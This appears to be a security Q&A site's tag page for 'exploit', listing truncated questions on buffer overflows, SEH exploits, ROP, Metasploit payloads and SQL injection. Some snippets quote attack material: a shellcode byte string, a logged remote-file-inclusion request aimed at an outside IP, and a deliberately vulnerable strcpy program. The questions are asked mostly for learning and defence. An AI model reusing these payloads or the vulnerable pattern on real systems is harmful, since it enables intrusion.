The data, tools, and procedures which, when applied to a specific vulnerability, predictably violate the security design of a system.

learn more… | top users | synonyms

1
vote
1answer
406 views

Examples for practicing reverse engineering/disassembly of win32 .executables

I remember back in the day, there used to be a website where users would post hackits in the form of win32 exes for users to crack. Usually the goal was to defeat some sort of DRM, such as a nag ...
18
votes
1answer
2k views

Could someone explain parts of the FBI's Firefox 0-day?

Here is the full Javascript (and related iframes) that the FBI apparently injected into all "Freedom Hosting" pages in the course of their recent takedown. http://pastebin.mozilla.org/2776374 The ...
3
votes
2answers
211 views

Encoding an Address that contains a null byte in a payload

I am working on an SEH exploit. the problem I am facing here that all POP/POP/RETN addresses end with null bytes, so everything placed after it gets corrupted. Is it possible to use Metasploit ...
6
votes
2answers
453 views

buffer overflow attack scripts

I saw various different scripts for a buffer overflow attack. Many of the scripts include lines that look like this: char code[] = "\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" ...
25
votes
4answers
6k views

BREACH - a new attack against HTTP. What can be done?

Following on from CRIME, now we have BREACH to be presented at Black Hat in Las Vegas Thursday (today). From the linked article, it suggests that this attack against compression will not be as simple ...
1
vote
1answer
115 views

Notification or report for security problem of unix systems? [duplicate]

I have unix systems(Solaris,Oracle,Redhat vs).I have to control all system for security problem,bugs,patch,vulnerabilities I'm looking for securty information for all security issue After that I'll ...
8
votes
2answers
832 views

Is this GET request an exploit attempt?

I've noticed a few requests like this to a Rails application I am maintaining: GET ...
-7
votes
1answer
695 views

What are the vulnerabilities on port 23? [closed]

I'm working on a pen-testing project and still in the beginning but I faced a switch with only 80 & 23 ports opened. How can I use these ports to attack that switch ?
3
votes
1answer
233 views

Converting Negative Decimal to Hex

I came through a post on Offensive Security and while reading , the author stated that: At next SEH (when using a SE Handler address that starts with a null byte), we usually will put some code to ...
6
votes
2answers
134 views

How does sensitive information leak assist in exploit development?

According to this bug report, the first vulnerability can leak sensitive information. But since it doesn't mention what information to leak, I guess it would be the stack? And how could this help in ...
3
votes
2answers
704 views

possible exploits through avahi daemon

It is always recommended to disable Avahi daemon, for security reasons, when not in use. So, by what ways it is possible to exploit a system which has avahi daemon service running? And how can we ...
70
votes
5answers
2k views

How can I protect myself from this kind of clipboard abuse?

Clipboard abuse from websites Many websites use JavaScript or CSS to stealthily insert or replace text in the user's clipboard whenever they copy information from the page. As far as I know this is ...
4
votes
1answer
166 views

Securing a Site: Diversity over Simplicity?

This question was derived from my off-topic questioning here: Does Centralisation Decrease the Probability but Increase the Damage of Exploits? Like before, I suspect this may be overly abstract as a ...
2
votes
3answers
580 views

How to determine the size of payloads available in MetaSploit

I've noticed that there are a lot of different payloads to choose from in MetaSploit, and the choice (assuming there's enough room in the target) usually depends on what you're trying to do. However, ...
25
votes
6answers
3k views

Most secure way to partition linux?

I recently acquired a netbook to play with, and I want to install Kali Linux so I can start learning about network security and exploit development. I want to use this to learn as much about security ...
2
votes
3answers
259 views

Is + as an alternative to %20 an attack vector?

I was reading a Q&A on enabling + characters in URLs for Sitecore CMS, and the answer states: ASPNET application does not allow using “+” from the security point of view e.g. preventing SQL or ...
0
votes
1answer
483 views

Comprehensive & current book on native application exploit research & development [closed]

Is there a 'must read', comprenhensive book on native application exploit development? Covering the process of finding vulnerabilities (fuzzing, reverse engineering, code analysis, etc...) & ...
1
vote
1answer
2k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking ...
2
votes
1answer
168 views

Using X-actual-recipient to divert email

Has anyone noticed exploits involving the use of "X-Actual-Recipient" to covertly divert e-mail from an intended recipient to someone else? I have been told that only someone with root access on the ...
2
votes
1answer
963 views

Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
0
votes
3answers
105 views

Can my web accesses be known by individuals?

Someone, I think it was on Charlie Rose, said that anybody who wants to can currently discover what websites have been visited by some person of interest. That assertion was possibly made as a way of ...
-1
votes
1answer
198 views

ASLR Randomization and different regions [closed]

Essentially my question is, why ASLR doesn't randomize text, bss and data regions of the process? Also in the newer version of kernels (such as Linux kernel version 3.x) along with process base, ...
3
votes
4answers
288 views

Open exploits database, with structured data (CMS name, version, etc.)

For a web security app I'm working on, I want to list all the exploits that a certain Wordpress version have. (and hopefully the same for other CMSs) I found some (open) exploits databases that list ...
6
votes
1answer
99 views

What are Non-linear/backward overwrites?

I read some slides from the Black Hat USA 2012 conference, and I stumbled across the term non-­linear/backward overwrite, mentioned on slide 5 of the Exploit Mitigation Improvements in Windows 8 by ...
8
votes
2answers
2k views

Exploiting PHP via GET params

To be clear, this is in the interest of ethical testing to secure an application on behalf of my work. Now that that's out of the way, here are the details: Un-sanitised GET params are used in a ...
2
votes
1answer
1k views

CentOS - Local privilege escalation - CVE-2012-0056

I have a server with these properties : cat /etc/lsb-release ...
6
votes
3answers
487 views

Security implications of an exploited router

So I completely understand that routers and local networks need to be kept locked down, etc. What real security threats can come about from an attacker who has remotely accessed (telnet or web gui) ...
1
vote
2answers
286 views

Bridge Exploit of Network Multi-function Print/Fax Devices

I performed a recent security audit and was wondering if anyone has heard or run across any known exploits against any commercial multi-function print/scan device whereby you can bridge the incoming ...
2
votes
2answers
197 views

Identify code being run on website

I do not normally deal with internet security problems but this one has got me interested. The issue is with a specific site, lets say example.com, and how it it visited. If the address is typed ...
4
votes
2answers
313 views

Vulnerability testing without the use of exploits?

I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information ...
1
vote
2answers
189 views

ROP Gadgets from executables?

I noticed that exploits which use Return Oriented Programming always find the gadgets in libraries. I wonder if it is possible to use gadgets from the executable (.exe) itself?
10
votes
1answer
577 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
-4
votes
1answer
126 views

Breaking into your own systems [closed]

So as security professionals, most are overly paranoid about external hackers, leaks, etc. I'm looking for ideas on how one would go about testing their own systems, without signs that they were ...
5
votes
1answer
2k views

.JPEG File upload shell via EXIF comments

I came across this advisory recently and I'm a bit confused by both exploits, but specifically the file upload vulnerability. I don't understand how to actually exploit this condition (or even why ...
7
votes
1answer
735 views

A practical .NET Remoting Architecture exploit

If you were to demonstrate a .NET Remoting Architecture vulnerability with a practical attack, which one would you choose? I've read J. Forshaw's white paper on Breaking .NET Through Serialization ...
2
votes
3answers
1k views

What's a good fuzzing framework for fuzzing a local standalone application?

I have been looking for guides and tutorials about how to fuzz and so far everything I have seen has been for web servers. If I wanted to fuzz something along the lines of calc.exe or a program that ...
3
votes
2answers
604 views

How can JavaScript be tampered with while viewing a web page?

I often hear about how client side JavaScript can't be relied on because it can easily be changed. How exactly can it be changed, what program would be used to modify the JavaScript before a page ...
1
vote
0answers
628 views

Automatic router admin password change [closed]

I feel that this is definitely a hack of some sort and an interesting one. I am using a Beetel 450TC1 ADSL2+ modem router and here is what I face: * First, I disconnect the telephone line from the ...
14
votes
3answers
3k views

What is the difference between Exploit and Payload?

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof ...
4
votes
1answer
326 views

Exploited by newbie3viLc063s

My debian server got exploited by some scriptiekiddie who used Newbie3viLc063 http://pastebin.com/jma8JRG1 . Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run ...
20
votes
2answers
669 views

Aviation security - Lessons to learn from PlaneSploit

A somewhat related question has already been asked (What would one need to do in order to hijack a satellite?), only at a more abstract level. Now we have a presentation by Hugo Teso from n.runs AG ...
5
votes
2answers
615 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
7
votes
2answers
8k views

SQL Injection: Drop All Tables

I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ...
4
votes
3answers
426 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
13
votes
2answers
566 views

Getting exploit reliability when using the off by one framepointer overwrite on linux

We have a program that is vulnerable to a one byte frame pointer overwrite. The stack is marked executable, the Linux machine has aslr disabled, stack cookies are disabled, and it's a little endian ...
1
vote
1answer
221 views

Following redirects from HTTPS to HTTP - Secure?

So I have an HTTP client which supports HTTPS. However, it doesn't follow the HTTP spec recommendation for redirects on POST(which is to ask the user before redirecting) This means, in theory, if you ...
4
votes
1answer
495 views

Is this fprintf statement potentially vulnerable?

Here's the statement: fprintf(stderr, "Some random string\n"). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ...
1
vote
2answers
194 views

Is this Scenario Exploitable?

Here is the scenario: You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the ...
16
votes
4answers
1k views

What is the easiest way to search massive, leaked databases for persons and personal information?

This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be! A while ago a very MASSIVE database was leaked that contained ...
1
vote
1answer
636 views

Can exploit vulnerability if program started with gdb, but segfaults if started without gdb

i'm currently trying to exploit a simple program called basic_vuln.c #include <stdio.h> int main(int argc, char** argv) { char buf[64]; strcpy(buf, argv[1]); } I'm using xubuntu ...